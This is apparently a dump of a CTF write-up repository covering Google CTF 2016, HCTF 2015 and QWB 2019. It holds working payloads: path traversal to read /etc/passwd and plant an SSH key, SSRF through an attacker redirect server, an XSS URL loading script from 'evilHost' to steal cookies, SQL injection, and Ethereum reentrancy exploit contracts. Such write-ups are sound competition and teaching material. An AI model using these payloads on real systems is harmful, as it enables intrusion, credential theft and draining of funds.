268 | res = struct.unpack("%iI" % k, input[:len])
269 | return list(res)
270 |
271 | def test():
272 | print `md5("hallo").digest()`
273 | from md5 import new
274 | print `new("hallo").digest()`
275 |
276 | if __name__=="__main__":
277 | test()
278 |
--------------------------------------------------------------------------------
/GoogleCTF2016/website_gen_sess.py:
--------------------------------------------------------------------------------
1 | import json
2 | import logging
3 | import os
4 | import jinja2
5 | import webapp2
6 |
7 | from webapp2_extras import sessions
8 |
9 |
10 | class RequestHandler(webapp2.RequestHandler):
11 | """Base request handler for Mannequin Moments."""
12 | jinja_env = jinja2.Environment(
13 | loader=jinja2.FileSystemLoader('templates')
14 | )
15 |
16 | def dispatch(self):
17 | self._session_store = sessions.get_store(request=self.request)
18 |
19 | try:
20 | #super(RequestHandler, self).dispatch()
21 | pass
22 | finally:
23 | self._session_store.save_sessions(self.response)
24 |
25 | @webapp2.cached_property
26 | def session(self):
27 | return self._session_store.get_session()
28 |
29 | def render(self, tpl_name, **args):
30 | tmpl = self.jinja_env.get_template(tpl_name)
31 | args['logged_in'] = True if self.session.get('user') else False
32 | self.response.out.write(tmpl.render(**args))
33 |
34 |
35 |
36 | class HomeHandler(RequestHandler):
37 | def get(self):
38 | self.render('index.tpl')
39 |
40 |
41 | class LoginHandler(RequestHandler):
42 | def get(self):
43 | self.render('login.tpl')
44 |
45 | def post(self):
46 | user = None
47 | username = 'admin'
48 | #password = self.request.get('password') or None
49 | # Change #1281 - emergency maintenance due to security issues
50 | # user = redo auth.
51 | self.session['user'] = username
52 | #return webapp2.redirect('/', response=self.response)
53 |
54 |
55 |
56 |
57 | config = {
58 | 'webapp2_extras.sessions': {
59 | 'secret_key': 'a793134b-c2c5-4cbf-973b-64ff7eea863a',
60 | 'name': 'mannequin-moments',
61 | }
62 | }
63 |
64 | app = webapp2.WSGIApplication([
65 | webapp2.Route('/', HomeHandler),
66 | webapp2.Route('/login', LoginHandler)
67 | ], config=config)
68 |
69 | p=os.environ.__dict__
70 |
71 | request = webapp2.Request(p)
72 | response=webapp2.Response()
73 | request.app = app
74 | a=LoginHandler(request,response)
75 | a.dispatch()
76 | a.post()
77 | a.dispatch()
78 | #a.session.set('user','admin')
79 | print a.response
80 |
--------------------------------------------------------------------------------
/HCTF2015/README.md:
--------------------------------------------------------------------------------
1 | # HCTF 2015
2 |
3 | ## 2. fuck === 75
4 | ```php
5 | if (isset($_GET['a']) and isset($_GET['b'])) {
6 | if ($_GET['a'] != $_GET['b'])
7 | if (md5($_GET['a']) === md5($_GET['b']))
8 | die('Flag: '.$flag);
9 | else
10 | print 'Wrong.';
11 | ```
12 |
13 | 扔两个数组过去即可
14 | `/index.php?a[]=asd&b[]=rew`
15 |
16 | ## 3. black eat black 300
17 |
18 | 使用该DNS(180.153.47.182)后会劫持到120.55.181.136,
19 | 由`黑吃黑`可知,他会根据host字段来帮你代理http请求,
20 | 那么把host改成127.0.0.1就能吃掉他了,nmap扫描后发现开了一堆filtered端口,
21 | 把host改成127.0.0.1:4444后发向120.55.181.136,就能看到一个叫gayhub的网站,
22 | 注册并登陆后,发现能上传覆盖任意文件(有写权限的话),文件名带`../`可以上传至上一级目录,
23 | 上传文件的路径形如`/:username/uploadfile/:filename`,(而且我试出来真实路径是`/static/upload/:username/:filename`,不过没什么卵用)
24 | 发现上传到上一级的目录的文件不能通过`/:username/uploadfile/../:filename`来访问,经测试后发现会把`../`扔掉,
25 | 那么可以构造`....//`,替换后变成`../`来绕过
26 | 于是读`/:username/uploadfile/....//....//....//....//....//....//....//etc/passwd`,发现有类似`hctf2015:/home/hctf2015:/usr/bin/whereisflag`的字段,而且无法读取`/usr/bin/whereisflag`,
27 | 那么利用上传系统,上传自己的公钥到`../../../../../../home/hctf2015/.ssh/authorized_keys`,ssh上去回答几道问题就能拿到flag啦
28 |
29 |
30 | ## 7. server is done 175
31 |
32 | 构造一个足够长的字符串arg = '0'*512 (>512 bytes),看他返回的message,就能发现大于512时有循环部分,html注释部分里的加密后的flag也是512字节,
33 | 仔细检查后发现,`encrypted flag = arg xor message xor flag`,于是异或一下得到flag
34 |
35 |
36 | ## 8. fuckphp 300
37 |
38 | 看小说页里面最下面有个``,下载出来就是小说包....
39 | 开下脑洞试了几个发现能下载个`backup.zip`...
40 | 打开看了下是一个叫`flagflagflaggogogo.php`的OPCODE DUMP文件,
41 | 仔细阅读后发现需要读取`$_GET['username'], $_GET['password']` 长均为16,且异或后等于`'ILoveAklisheheha'`
42 | 随便构造了个`/flagflagflaggogogo.php?username=y6*,%3C$*-(2)$)$)Q&password=0zEZYeAAAAAAAAA0`就过去了
43 | 然后有个是加密flag的函数:
44 | ```
45 | compiled vars: !0 = $target1, !1 = $target2, !2 = $getFlag, !3 = $echoFlag, !4 = $getUserInfo, !5 = $checkTarget1, !6 = $flag, !7 = $cbc_key, !8 = $cbc_iv
46 | 8 0 E > FETCH_R static $0 'flag'
47 | 1 ASSIGN !0, $0
48 | 2 FETCH_R static $2 'cbc_key'
49 | 3 ASSIGN !1, $2
50 | 4 FETCH_R static $4 'cbc_iv'
51 | 5 ASSIGN !2, $4
52 | 9 6 FETCH_CONSTANT ~6 'MCRYPT_BLOWFISH'
53 | 7 SEND_VAL ~6
54 | 8 SEND_VAR !1
55 | 9 SEND_VAR !0
56 | 10 FETCH_CONSTANT ~7 'MCRYPT_MODE_CBC'
57 | 11 SEND_VAL ~7
58 | 12 SEND_VAR !2
59 | 13 DO_FCALL 5 $8 'mcrypt_encrypt'
60 | 14 SEND_VAR_NO_REF 6 $8
61 | 15 DO_FCALL 1 $9 'base64_encode'
62 | 16 > RETURN $9
63 | 10 17* > RETURN null
64 | ```
65 |
66 | 加密完后,会依次输出`$encFlag, $cbc_iv, $cbc_key`,
67 | 显示出来的是`HFcN8aBMiUUvprvYK2vF9teFBwZvsLag5pivWzxOu+JPTg3FFBonyg==longjingmolihua!`
68 |
69 | 那么写段php:
70 | ```php
71 | echo mcrypt_decrypt(MCRYPT_BLOWFISH, 'molihua!', base64_decode('HFcN8aBMiUUvprvYK2vF9teFBwZvsLag5pivWzxOu+JPTg3FFBonyg=='), MCRYPT_MODE_CBC, 'longjing');
72 | ```
73 | 即可输出flag
74 |
75 | # 11. 真的非常友善的逆向题(福利) 150
76 |
77 | 过程写在下面的注释里了:
78 |
79 | ```c
80 | int __fastcall checkFlagHead(int a1, char a2) // a1=flag string
81 | {
82 | int v2; // eax@1
83 | char v3; // cl@1
84 | signed int v4; // eax@1
85 | __int128 v6; // [sp+0h] [bp-2Ch]@1
86 | int v7; // [sp+10h] [bp-1Ch]@1
87 | int v8; // [sp+14h] [bp-18h]@1
88 | int v9; // [sp+18h] [bp-14h]@1
89 | __int16 v10; // [sp+1Ch] [bp-10h]@1
90 | char v11; // [sp+1Eh] [bp-Eh]@1
91 | int v12; // [sp+20h] [bp-Ch]@1
92 | char v13; // [sp+24h] [bp-8h]@1
93 | char v14; // [sp+25h] [bp-7h]@1
94 |
95 | v9 = '7613';
96 | v10 = '45';
97 | v11 = 0;
98 | v2 = *(_DWORD *)a1;
99 | v3 = *(_BYTE *)(a1 + 4);
100 | v12 = v2;
101 |
102 | LOBYTE(v12) = '3' - v2; // '3' - string[0]
103 | BYTE1(v12) = BYTE1(v9) - BYTE1(v12); // '1' - string[1]
104 | BYTE2(v12) = '6' - BYTE2(v2);
105 | BYTE3(v12) = '7' - BYTE3(v2);
106 | // 上面这里每个byte做一下减法变换,看看各位减得的负数是否跟下面v6一样
107 | v14 = 0;
108 | v13 = 53 - v3;
109 | v4 = 0;
110 | _mm_storeu_si128((__m128i *)&v6, _mm_load_si128((const __m128i *)&xmmword_415630)); // v6 <- 4bytes的负数xmmword_415630
111 | // 那么'3167'各bytes减v6各bytes得'HCTF'
112 | v7 = -70;
113 | v8 = -73;
114 | while ( *((_BYTE *)&v12 + v4) == *((_DWORD *)&v6 + v4) ) // 实质就是验证string前是否是HCTF{
115 | {
116 | ++v4;
117 | if ( v4 >= 5 )
118 | return SHIBYTE(v10) - a2 == -73;
119 | }
120 | return 0;
121 | }
122 |
123 | BOOL __userpurge DialogFunc@(char a1@, HWND hDlg, UINT a3, WPARAM a4, LPARAM a5)
124 | {
125 | __int128 *v6; // edx@18
126 | signed int v7; // esi@21
127 | int v8; // edx@22
128 | int v9; // eax@30
129 | int v10; // eax@30
130 | int v11; // eax@30
131 | int v12; // eax@30
132 | signed int v13; // ecx@30
133 | CHAR String; // [sp+0h] [bp-24h]@1
134 | __int128 v15; // [sp+1h] [bp-23h]@1
135 | __int64 v16; // [sp+11h] [bp-13h]@1
136 | int v17; // [sp+19h] [bp-Bh]@1
137 | char v18; // [sp+1Dh] [bp-7h]@1
138 |
139 | String = 0;
140 | _mm_storel_epi64((__m128i *)&v16, 0i64);
141 | v17 = 0;
142 | v18 = 0;
143 | _mm_storeu_si128((__m128i *)&v15, 0i64);
144 | if ( a3 > 0x110 )
145 | {
146 | if ( a3 == 273 && !(a4 >> 16) && (_WORD)a4 == 1004 )
147 | {
148 | GetWindowTextA(dword_4191F8, &String, 30);
149 | v6 = &v15;
150 | if ( strlen(&String) == 22 ) // 检查长度
151 | {
152 | LOBYTE(v6) = BYTE4(v16);
153 | if ( sub_401DA0(&String, v6) )
154 | {
155 | if ( sub_401BB0(&String) ) // 二分查找,A~Z变成0~25, a~z变成100~125, '0'变成了200,把变换后的字符串与下面的数组比较
156 | {
157 | v7 = 0;
158 | while ( 1 )
159 | {
160 | v8 = dword_4191B0 ^ byte_418217; // dword_4191B0取1,2 byte_418217不断rol,逆向的时候暴力下这几种可能就好
161 | if ( (dword_4191B0 ^ byte_418217) >= 0
162 | && dword_4191B0 != byte_418217 // 这里比较flag后面接的4位无意义字符
163 | && (v8 ^ (char)v16) == byte_418218
164 | && (v8 ^ SBYTE1(v16)) == byte_418219
165 | && (v8 ^ SBYTE2(v16)) == byte_41821A
166 | && (v8 ^ SBYTE3(v16)) == byte_41821B )
167 | break;
168 | Sleep(0x14u);
169 | ++v7;
170 | if ( v7 >= 100 )
171 | goto LABEL_28;
172 | }
173 | v9 = dword_4191D8; // 这里还要交换几个bytes
174 | dword_4191D8 = dword_4191C0[0];
175 | dword_4191C0[0] = v9;
176 | v10 = dword_4191E0;
177 | dword_4191E0 = dword_4191CC;
178 | dword_4191CC = v10;
179 | v11 = dword_4191D4;
180 | dword_4191D4 = dword_4191C8;
181 | dword_4191C8 = v11;
182 | v12 = dword_4191D0;
183 | dword_4191D0 = dword_4191EC;
184 | v13 = 0;
185 | dword_4191EC = v12;
186 | do
187 | {
188 | if ( dword_415600[v13] != dword_4191C0[v13] ) // 比较上面变换后的字符串和数组
189 | {
190 | MessageBoxW(0, L"Try Again", L"Fail", 0);
191 | exit(-1);
192 | }
193 | ++v13;
194 | }
195 | while ( v13 < 12 );
196 | if ( v8 == 2 )
197 | {
198 | MessageBoxW(0, L"YOU GOT IT", L"OK", 0);
199 | exit(0);
200 | }
201 | }
202 | }
203 | }
204 | LABEL_28:
205 | MessageBoxW(0, L"Try Again", L"Fail", 0);
206 | }
207 | }
208 | else if ( a3 == 272 )
209 | {
210 | hWnd = GetDlgItem(hDlg, 1004);
211 | dword_4191F8 = GetDlgItem(hDlg, 1003);
212 | hObject = (HANDLE)sub_4027B4(0, 0, (int)sub_401B90, 0, 0, 0);
213 | if ( !hObject )
214 | {
215 | sub_4029F6(&unk_415584, a1);
216 | return 0;
217 | }
218 | }
219 | else
220 | {
221 | if ( a3 == 16 )
222 | {
223 | CloseHandle(hObject);
224 | EndDialog(hDlg, 0);
225 | DestroyWindow(hDlg);
226 | return 0;
227 | }
228 | if ( a3 == 32 && hWnd == (HWND)a4 )
229 | {
230 | if ( dword_4181F8 == 34 )
231 | {
232 | MoveWindow(hWnd, 10, 10, 80, 35, 1);
233 | dword_4181F8 = 21;
234 | return 0;
235 | }
236 | if ( dword_4181F8 == 21 )
237 | {
238 | MoveWindow(hWnd, 20, 230, 80, 35, 1);
239 | dword_4181F8 = 24;
240 | return 0;
241 | }
242 | if ( dword_4181F8 == 24 )
243 | {
244 | MoveWindow(hWnd, 350, 230, 80, 35, 1);
245 | dword_4181F8 = 34;
246 | return 0;
247 | }
248 | }
249 | }
250 | return 0;
251 | }
252 | ```
253 |
254 | 所以只要把那个比较用的数组提出来
255 | ```
256 | 66h
257 | .rdata:00415604 db 64h ; d
258 | .rdata:00415608 db 0C8h ;
259 | .rdata:0041560C db 68h ; h
260 | .rdata:00415610 db 75h ; u
261 | .rdata:00415614 db 75h ; u
262 | .rdata:00415618 db 14h
263 | .rdata:0041561C db 0Bh
264 | .rdata:00415620 db 68h ; h
265 | .rdata:00415624 db 15h
266 | .rdata:00415628 db 68h ; h
267 | .rdata:0041562C db 12h
268 | ```
269 |
270 | 然后改成十进制,对x,如果x==200那么x转成'0',否则转成`(x%100+'A')+(x/100)*('a'-'A')`,然后按照上面的规则交换几个bytes
271 | 拼接上上面的HCTF{和结尾的四位随机字符即可。
272 |
273 |
274 | # 14. 送分要不要?(萌新点我) 50
275 |
276 | 
277 |
278 | 在PNG前面有段base64全家桶,依次b64decode b32decode b16decode 得到flag
279 |
280 | # 16. 无聊的题(出题人真无聊) 250
281 |
282 | 这题真坑爹,也真的是很无聊- -...
283 | 网上找了原图,diff了一下很容易发现些异常....然而原图是jpg,好多噪点
284 |
285 | diff图如下:
286 | 
287 |
288 | 在88行与201行,分别R与B通道有LSB....
289 | 把原图与题目图的diff打印出来看看, 按col row 题图 原图顺序排列...
290 |
291 | ```
292 | ...
293 | 121 88 (150, 21, 15, 255) (134, 21, 15)
294 | 125 88 (136, 28, 18, 255) (152, 28, 18)
295 | 127 88 (147, 26, 17, 255) (146, 25, 16)
296 | 130 88 (158, 23, 17, 255) (142, 23, 17)
297 | 131 88 (162, 40, 35, 255) (162, 41, 33)
298 | 132 88 (133, 26, 19, 255) (149, 26, 19)
299 | 135 88 (123, 22, 15, 255) (107, 22, 15)
300 | 136 88 (100, 27, 13, 255) (116, 27, 13)
301 | 139 88 (120, 24, 15, 255) (104, 24, 15)
302 | 141 88 (109, 28, 21, 255) (125, 28, 21)
303 | 142 88 (111, 22, 18, 255) (127, 22, 18)
304 | 143 88 (125, 27, 16, 255) (109, 27, 16)
305 | 145 88 (98, 32, 34, 255) (114, 32, 34)
306 | 146 88 (119, 22, 18, 255) (102, 23, 18)
307 | 147 88 (156, 36, 27, 255) (140, 36, 27)
308 | 148 88 (147, 20, 11, 255) (131, 20, 11)
309 | 149 88 (110, 31, 27, 255) (126, 31, 27)
310 | 151 88 (108, 34, 25, 255) (124, 34, 25)
311 | 152 88 (109, 35, 27, 255) (125, 35, 27)
312 | 153 88 (147, 25, 25, 255) (131, 25, 25)
313 | 154 88 (121, 37, 26, 255) (105, 37, 26)
314 | 156 88 (121, 22, 18, 255) (105, 22, 18)
315 | 158 88 (111, 50, 44, 255) (127, 50, 44)
316 | 159 88 (106, 33, 29, 255) (122, 33, 29)
317 | 160 88 (70, 26, 25, 255) (86, 26, 25)
318 | 161 88 (91, 22, 18, 255) (75, 22, 18)
319 | ...
320 | 137 201 (150, 41, 40, 255) (150, 41, 44)
321 | 138 201 (147, 45, 37, 255) (147, 45, 33)
322 | 140 201 (139, 43, 41, 255) (139, 43, 45)
323 | 141 201 (120, 41, 24, 255) (120, 41, 28)
324 | 144 201 (142, 33, 24, 255) (142, 33, 28)
325 | 147 201 (144, 42, 44, 255) (144, 42, 40)
326 | 148 201 (158, 46, 40, 255) (158, 46, 44)
327 | 151 201 (161, 49, 41, 255) (161, 49, 45)
328 | 153 201 (168, 47, 32, 255) (168, 47, 36)
329 | 154 201 (179, 46, 45, 255) (179, 46, 41)
330 | 155 201 (156, 52, 45, 255) (156, 52, 41)
331 | 156 201 (159, 41, 33, 255) (159, 41, 37)
332 | 157 201 (164, 35, 26, 255) (164, 35, 30)
333 | 158 201 (176, 40, 24, 255) (176, 40, 28)
334 | 160 201 (142, 18, 22, 255) (142, 18, 18)
335 | 162 201 (186, 46, 37, 255) (186, 46, 33)
336 | 163 201 (178, 40, 29, 255) (180, 39, 29)
337 | 164 201 (186, 46, 41, 255) (185, 45, 44)
338 | 165 201 (130, 40, 25, 255) (130, 40, 29)
339 | 169 201 (159, 48, 24, 255) (159, 48, 28)
340 | 170 201 (167, 44, 33, 255) (167, 44, 37)
341 | ```
342 |
343 | 容易发现88行R部分大多相差16, 201行B部分相差4,于是提取出来,把偏移全部试一遍,即可得到flag
344 |
345 | ```python
346 | >>> r1,g1,b1,a1 = Image.open('boring.png').split()
347 | >>> s=''
348 | >>> for col in xrange(106, 300):
349 | ... pos=(col,88)
350 | ... if ((r1.getpixel(pos))&16)==16:
351 | ... s+='1'
352 | ... else:
353 | ... s+='0'
354 | ...
355 | >>> s
356 | '10011001101100011000010110011100110001001110100110100001100011011101000110011001111011011011000101111100110100011011010101111100110111011010000100010101011111010001100100100101110010001100110011'
357 | >>> def tobin8(s):
358 | ... ret=''
359 | ... for x in xrange(0, len(s), 8):
360 | ... seg=s[x:x+8]
361 | ... if len(seg)<8: return ret
362 | ... ret+=chr(int(seg,2))
363 | ... return ret
364 | ...
365 | >>> tobin8(s[6:])
366 | 'lag1:hctf{l_4m_7hE_FIr3'
367 | # 上面列数取小了...后来把列数改大,可以得到完整的flag1:lag1:hctf{l_4m_7hE_FIr37_F14G}
368 |
369 | for col in xrange(130, 500):
370 | pos=(col,201)
371 | if ((b1.getpixel(pos))&4)==4:
372 | s+='1'
373 | else:
374 | s+='0'
375 | >> tobin8(s[7:])
376 | 'flag2:hctf{DoYouLoveLSB??},\xcf\x8c\x9538\xbaT9y\n\xde|\x87\xcb\xf3\x98\xd6j'
377 |
378 | ```
379 |
380 | # 28. Hack my net 100
381 |
382 | 上来是
383 | `http://120.26.224.102:25045/ea57f09ea421245047b86eaba834fae1/?u=http://nohackair.net:80/usr/themes/trapecho/css/bootstrap-responsive.min.css`这个url,
384 | 测试可知前面的`http://nohackair.net:80`是固定的,于是用alictf某题的绕过方法,加@绕过,如:`http://nohackair.net:80@baidu.com`返回baidu.com
385 | 测试发现header里面有个`Config: http://localareanet/all.conf`,也就是想办法读这个conf
386 | 测试发现后缀必须是.css,而且服务器会跟302重定向,那么,在自己的服务器上搭个nginx:
387 | ```
388 | location /test.css {
389 | add_header Content-Type text/css;
390 | return 302 http://localareanet/all.conf?u=/11.css;
391 | }
392 | ```
393 |
394 | 然后填`http://myEvilServer/test.css`即可看到flag(注:貌似会检查content-type,所以要加个test/css)
395 |
396 | # 30. easy xss 150
397 |
398 | ```html
399 |
400 | -- param: /?errmsg=a&t=1&debug=false -->
401 | -- xssme: getmycookie.php?url=yourevilurl -->
402 | -- DO NOT USE SCANNER OR BURP TOOLS , OR REGARDS AS CHEATING!!! -->
403 |
404 |
419 |
420 | ```
421 |
422 | 其中,catch块只有在type.toString()抛异常才会执行,那么我们要设法让type为null或undefined.
423 | 利用js的变量作用域的坑,debug填`';var type;'`那么就有`var debug = '';var type;'';`
424 |
425 | 那么errormsg填payload就好了,过滤了斜杠可以用js字符转义`\x2f`来绕过
426 |
427 | payload:
428 | `http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=asd%3Cscript%20src=%27http:\x2f\x2fevilHost\x2fxss.js%27%3E%3C\x2fscript%3E&t=1&debug=%27;var%20type;%27`
429 |
430 | xssme:
431 | `http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/getmycookie.php?url=http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=asd%253Cscript%2520src=%2527http:\x2f\x2fevilHost\x2fxss.js%2527%253E%253C\x2fscript%253E%26t=1%26debug=%2527;var%2520type;%2527`
432 |
433 | # 32. confused question 200
434 |
435 | ```php
436 |
437 | $val){
443 | $array[$key] = addslashes($val);
444 | }
445 | return $array;
446 | }
447 | $loginStr = $_GET['loginstr'];
448 | if(!isset($_SESSION['admin'])){$loginStr = str_ireplace('admin','guest',$loginStr);}//前台不是admin
449 | parse_str($loginStr,$loginStr);
450 | foreach($loginStr as $n => $v){
451 | $v = addslashesForEvery($v);
452 | if($n === 'admin'){
453 | $username = $v['username'];
454 | $password = addslashesForEvery($_POST['password']);
455 | $sql = "select * from admin where username = '$username' and password = '$password'";
456 | $result = $DB->query($sql);
457 | if($result){$_SESSION['adminlogin'] = 1; echo "hctf{xxxxxxxx}";}
458 | break;
459 | }
460 | if($n === 'guest'){
461 | echo "Hello Guest!But you cannot log in!";
462 | break;
463 | }
464 | echo "null";
465 | break;
466 | }
467 |
468 | ?>
469 | ```
470 |
471 | 这个没什么好说的,本地改下php跑跑试下就出来了...php的某些坑, 没有对应offset时出现的古怪行为...
472 | 从效果上说,跟dz7.2那个洞有点像...
473 |
474 | 直接扔payload吧
475 | ```
476 | ?loginstr[admin]=%27&password=+union+select+1,1+--
477 | ````
478 |
479 | 本地测试代码添加的片段:
480 | ```php
481 | $username = $v['username'];
482 | var_dump($username, $v);
483 | // 输出 Warning: Illegal string offset 'username' in D:\Winginx\home\localhost\y.php on line 58 string(1) "\" string(2) "\'"
484 | ```
485 |
486 | 在payload下sql语句变成
487 | `string(78) "select * from admin where username = '\' and password = ' union select 1,1 --'" `
--------------------------------------------------------------------------------
/HCTF2015/lsb_diff.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/HCTF2015/lsb_diff.png
--------------------------------------------------------------------------------
/HCTF2015/songfen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/HCTF2015/songfen.png
--------------------------------------------------------------------------------
/QWB2019/README.md:
--------------------------------------------------------------------------------
1 | # QWB 2019
2 |
3 | ### 高明的黑客
4 |
5 | 之前因为我自己写过phpWebshell扫描器,直接拿过来魔改了几行代码就能直接扫出来了。
6 |
7 | 
8 |
9 | 
10 |
11 | 然后翻扫描log找到306行有问题:
12 |
13 | 
14 |
15 | 看了下就一个很裸的system函数调用,没什么好说了
16 |
17 | 
18 |
19 |
20 | ### babybank
21 |
22 | 然后是两道baby以太坊智能合约题,opcode直接在线decompile一下( https://ethervm.io/ ,现在竟有这么好用的工具),再根据solidity mapping的storage的空间布局很容易就能分析出代码逻辑,比ethernaut的题还要简单。
23 |
24 | 这题的主要思路就是经典的重入攻击 ,外加`selfdestruct`可以送钱和预测合约地址这两个甜点。
25 |
26 |
27 | ```solidity
28 | pragma solidity ^0.4.23;
29 |
30 | contract babybank {
31 | mapping(address => uint) public balance;
32 | mapping(address => uint) public level;
33 | address owner;
34 | uint secret;
35 |
36 | //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
37 | //Gmail is ok. 163 and qq may have some problems.
38 | event sendflag(string md5ofteamtoken,string b64email);
39 |
40 | constructor()public{
41 | owner = msg.sender;
42 | }
43 |
44 | //pay for flag
45 | function payforflag(string md5ofteamtoken,string b64email) public{
46 | require(balance[msg.sender] >= 10000000000);
47 | balance[msg.sender]=0;
48 | owner.transfer(address(this).balance);
49 | emit sendflag(md5ofteamtoken,b64email);
50 | }
51 |
52 | modifier onlyOwner(){
53 | require(msg.sender == owner);
54 | _;
55 | }
56 |
57 | function profit() public;/* {
58 | if(level[msg.sender]) throw;
59 | if(msg.sender & 0xffff != 0xb1b1) throw;
60 | balance[msg.sender] += 1;
61 | level[msg.sender] += 1;
62 | }*/
63 |
64 | function guess(uint arg0);/* {
65 | if (arg0 != secret) throw;
66 | if (level[msg.sender] != 1) throw;
67 | balance[msg.sender] += 1;
68 | level[msg.sender] += 1;
69 | }*/
70 |
71 | function transfer(address arg0, uint arg1);/* {
72 | if (arg1 > balance[msg.sender])) throw;
73 | if (arg1 != 2) throw;
74 | if (level[msg.sender] != 2) throw;
75 | balance[msg.sender] = 0;
76 | balance[arg0] = arg1;
77 | }*/
78 |
79 | function withdraw(uint arg0);/* {
80 | if (arg0 != 0x02) throw;
81 | if (arg0 > balance[msg.sender]) throw;
82 |
83 | mem[0x80] = msg.sender.call.gas(msg.gas).value(arg0 * 1 ether)(mem[0x80]);
84 | balance[msg.sender] -= arg0;
85 | }*/
86 | }
87 |
88 | contract ForceSendValue {
89 | function mySend() payable {
90 | babybank f = babybank(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
91 | selfdestruct(f);
92 | }
93 | }
94 |
95 | contract exploit {
96 | babybank f = babybank(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
97 | address owner;
98 | bool hasBeenPaid = false;
99 |
100 | constructor() {
101 | owner = msg.sender;
102 | f.profit();
103 | f.guess(0x3fde42988fa35); // web3.eth.getStorageAt("0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c", 3, console.log)
104 | }
105 |
106 | function() public payable {
107 | if (!hasBeenPaid) {
108 | hasBeenPaid = true;
109 | f.withdraw.gas(msg.gas)(2);
110 | }
111 | }
112 |
113 | function exp() payable {
114 | ForceSendValue _f = new ForceSendValue();
115 | _f.mySend.value(400000000000000).gas(msg.gas)();
116 | f.withdraw.gas(msg.gas)(2);
117 | }
118 |
119 | function submit() {
120 | string memory tok = "";
121 | string memory email = "";
122 | f.payforflag(tok, email);
123 | selfdestruct(owner);
124 | }
125 | }
126 | ```
127 |
128 | 因为这题需要用到智能合约的fallback函数`msg.sender`只能是智能合约,`profit()`里要`msg.sender`地址结尾是`b1b1`,这就要求我们要能预测账号地址生成的合约地址,利用下面的脚本可以生成账号地址使nonce=0的交易的智能合约部署地址结尾符合要求。
129 |
130 | ```python
131 | from web3 import Web3, HTTPProvider
132 | import rlp
133 | from rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
134 | w3 = Web3(HTTPProvider('https://ropsten.infura.io/SdO4U3ydQdgK3D3eNE2Y'))
135 | w3.eth.enable_unaudited_features()
136 |
137 | def normalize_address(x, allow_blank=False):
138 | if allow_blank and x == '':
139 | return ''
140 | if len(x) in (42, 50) and x[:2] == '0x':
141 | x = x[2:]
142 | if len(x) in (40, 48):
143 | x = decode_hex(x)
144 | if len(x) == 24:
145 | assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
146 | x = x[:20]
147 | if len(x) != 20:
148 | raise Exception("Invalid address format: %r" % x)
149 | return x
150 |
151 | def get_deployed_contract_addr(acc_address, nonce):
152 | return Web3.toHex(Web3.sha3(rlp.encode([normalize_address(acc_address), nonce]))[12:])[2:]
153 |
154 | acc=w3.eth.account.create()
155 | while not get_deployed_contract_addr(acc.address, 0).endswith('b1b1'):
156 | acc = w3.eth.account.create()
157 | print(acc.privateKey.__repr__())
158 | ```
159 |
160 | 另外这题回调fallback函数的时候需要送钱,又没有payable函数,因此`exploit::exp()`中利用合约`selfdestruct`的强制送钱机制先强行氪金一波。
161 |
162 | ### babybet
163 |
164 | 嗯其实这题比babybank还简单,准备工作也少了很多。分析一下字典没名字的函数是个transfer函数就可以汇集钱了,直接raw形式用签名哈希调用就ok了。我要吐槽一下这个非得100万,gas limit不够用非要手动部署十几次`exploit`合约......
165 |
166 | 直接上exp吧也没什么好说的,就利用智能合约动态获取链上公开信息来破解模拟的几年前的菠菜代码而已。
167 |
168 | ```solidity
169 | pragma solidity ^0.4.23;
170 |
171 | contract babybet {
172 | mapping(address => uint) public balance;
173 | mapping(address => uint) public status;
174 | address owner;
175 |
176 | //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
177 | //Gmail is ok. 163 and qq may have some problems.
178 | event sendflag(string md5ofteamtoken,string b64email);
179 |
180 | constructor()public{
181 | owner = msg.sender;
182 | balance[msg.sender]=1000000;
183 | }
184 |
185 | //pay for flag
186 | function payforflag(string md5ofteamtoken,string b64email) public{
187 | require(balance[msg.sender] >= 1000000);
188 | if (msg.sender!=owner){
189 | balance[msg.sender]=0;}
190 | owner.transfer(address(this).balance);
191 | emit sendflag(md5ofteamtoken,b64email);
192 | }
193 | function profit();
194 | function bet(uint arg0);
195 |
196 | //function func_048F(address arg0, uint arg1); 0xf0d25268
197 | }
198 |
199 |
200 | contract exploit {
201 | constructor() {
202 | address owner = ;
203 | for (uint i=0; i<50; i++) {
204 | address worker = new Worker();
205 | }
206 | selfdestruct(owner);
207 | }
208 | }
209 |
210 | contract Worker {
211 | constructor() {
212 | bytes4 sign = 0xf0d25268;
213 | address owner = ;
214 | babybet f = babybet(0x5d1beefd4de611caff204e1a318039324575599a);
215 | uint award = 1000;
216 | uint _owner = uint(owner);
217 | f.profit();
218 | uint b = uint(blockhash(block.number - 1)) % 3;
219 | f.bet(b);
220 | f.call(sign, _owner, award);
221 | selfdestruct(owner);
222 | }
223 | }
224 |
225 | ```
226 |
227 |
228 |
--------------------------------------------------------------------------------
/QWB2019/generate_eth_address.py:
--------------------------------------------------------------------------------
1 | from web3 import Web3, HTTPProvider
2 | import rlp
3 | from rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
4 | w3 = Web3(HTTPProvider('https://ropsten.infura.io/SdO4U3ydQdgK3D3eNE2Y'))
5 | w3.eth.enable_unaudited_features()
6 |
7 | def normalize_address(x, allow_blank=False):
8 | if allow_blank and x == '':
9 | return ''
10 | if len(x) in (42, 50) and x[:2] == '0x':
11 | x = x[2:]
12 | if len(x) in (40, 48):
13 | x = decode_hex(x)
14 | if len(x) == 24:
15 | assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
16 | x = x[:20]
17 | if len(x) != 20:
18 | raise Exception("Invalid address format: %r" % x)
19 | return x
20 |
21 | def get_deployed_contract_addr(acc_address, nonce):
22 | return Web3.toHex(Web3.sha3(rlp.encode([normalize_address(acc_address), nonce]))[12:])[2:]
